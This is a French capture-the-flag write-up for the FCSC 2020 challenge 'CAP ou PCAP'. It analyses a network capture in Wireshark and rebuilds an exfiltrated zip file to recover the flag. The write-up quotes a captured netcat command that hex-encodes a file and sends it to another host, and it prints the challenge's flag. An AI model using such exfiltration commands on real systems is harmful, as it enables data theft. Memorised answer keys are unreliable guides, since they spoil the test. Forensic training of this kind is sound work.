FCSC 2020 - Intro - CAP ou PCAP

Table des matières :

Voici la capture d’une communication réseau entre deux postes. Un fichier a été échangé et vous devez le retrouver.

Le flag est présent dans le contenu du fichier.

SHA256(cap.pcap) = 20ac157ee412240ee0f944effd41f870d093b005bb7168c0e629a193c8d0febe

Fichiers :


Résolution

Tout d’abord ouvrons le fichier PCAP dans wireshark pour avoir une vue générale de la tranmission. y a deux machines :

  • Machine A :

    • IP : 172.20.20.132
    • MAC : 00:00:6c:00:00:02
  • Machine B :

    • IP : 172.20.20.133
    • MAC : 00:00:6c:00:00:01

Nous allons maintenant reconstruire le flux TCP. Pour cela, dans wireshark effectuez un clic droit sur le premier paquet TCP puis Follow -> TCP Stream :

Nous obtenons le texte suivant :

id
uid=1001(fcsc) gid=1001(fcsc) groups=1001(fcsc)
pwd
/home/fcsc
w
 07:10:25 up 24 min,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
fcsc     tty7     :0               06:46   24:47   3.13s  0.00s /bin/sh /etc/xdg/xfce4/xinitrc -- /etc/X11/xinit/xserverrc
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
ls Documents
flag.zip
file Documents/flag.zip
Documents/flag.zip: Zip archive data, at least v2.0 to extract
xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200
exit

Ce texte représente l’entrée et la sortie d’un terminal linux. Nous pouvons un peu le mettre en forme pour mieux la comprendre :

fcsc@machine:~$ id
uid=1001(fcsc) gid=1001(fcsc) groups=1001(fcsc)

fcsc@machine:~$ pwd
/home/fcsc

fcsc@machine:~$ w
 07:10:25 up 24 min,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
fcsc     tty7     :0               06:46   24:47   3.13s  0.00s /bin/sh /etc/xdg/xfce4/xinitrc -- /etc/X11/xinit/xserverrc

fcsc@machine:~$ ls
Desktop Documents Downloads Music Pictures Public Templates Videos

fcsc@machine:~$ ls Documents
flag.zip

fcsc@machine:~$ file Documents/flag.zip
Documents/flag.zip: Zip archive data, at least v2.0 to extract

fcsc@machine:~$ xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200

fcsc@machine:~$ exit

Nous pouvons remarquer une commande intéressante qui envoie des données sur le port 20200 de la machine 172.20.20.133 :

xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200

Dans wireshark nous utilisons le filtre tcp.port == 20200 pour lister uniquement les paquets de la transmission sur le port 20200.

504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000

Ces données sont un fichier binaire au format hexadécimal (la commande xxd -p fichier.bin affiche le contenu du fichier en hexadécimal). Reconstituons maintenant le fichier binaire a partir de l’hexadécimal :

bash$ echo "504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000" | xxd -r -p > data.bin

Identifions le type de fichier que nous obtenons :

bash$ file data.bin
data.bin: Zip archive data, at least v2.0 to extract

Nous obtenons bien un fichier ZIP, ce qui est cohérent avec les commandes trouvées un peu plus haut dans le terminal.

bash$ mv data.bin flag.zip
bash$ unzip flag.zip
Archive:  flag.zip
  inflating: flag.txt

Pour finir, lisons le flag.txt que nous avons extrait :

bash$ cat flag.txt
FCSC{6ec28b4e2b0f1bd9eb88257d650f558afec4e23f3449197b4bfc9d61810811e3}

Le flag est FCSC{6ec28b4e2b0f1bd9eb88257d650f558afec4e23f3449197b4bfc9d61810811e3}